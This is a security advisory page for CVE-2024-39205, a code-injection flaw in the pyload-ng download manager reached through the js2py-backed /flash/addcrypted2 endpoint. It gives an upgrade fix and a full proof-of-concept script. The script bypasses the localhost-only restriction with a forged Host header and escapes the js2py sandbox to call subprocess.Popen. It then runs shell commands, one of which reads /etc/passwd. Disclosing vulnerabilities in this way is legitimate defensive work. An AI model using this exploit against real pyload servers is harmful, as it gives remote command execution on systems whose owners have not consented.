Improper Control of Generation of Code ('Code Injection') Affecting pyload-ng package, versions [,0.5.0b3.dev87)
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PYTHON-PYLOADNG-7925721
- published 10 Sep 2024
- disclosed 9 Sep 2024
- credit Unknown
Introduced: 9 Sep 2024
CVE-2024-39205 Open this link in a new tabHow to fix?
Upgrade pyload-ng
to version 0.5.0b3.dev87 or higher.
Overview
pyload-ng is a The free and open-source Download Manager written in pure Python
Affected versions of this package are vulnerable to Improper Control of Generation of Code ('Code Injection') through the /flash/addcrypted2
API endpoint that uses js2py
, which is vulnerable to Code Injection. An attacker can execute arbitrary shell commands by sending a specially crafted request that bypasses the localhost-only restriction using a modified HTTP header.
Note:
Any payload-ng
running under python3.11 or below is vulnerable.
pyload-ng doesn't use js2py for python3.12 or above.
PoC
import socket
import base64
from urllib.parse import quote
host, port = input("host: "), int(input("port: "))
payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj
hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
return n11
}
"""
crypted_b64 = base64.b64encode(b"1234").decode()
data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"
request = f"""\
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}
{data}
""".encode().replace(b"\n", b"\r\n")
def main():
s = socket.socket()
s.connect((host, port))
s.send(request)
response = s.recv(1024).decode()
print(response)
if __name__ == "__main__":
main()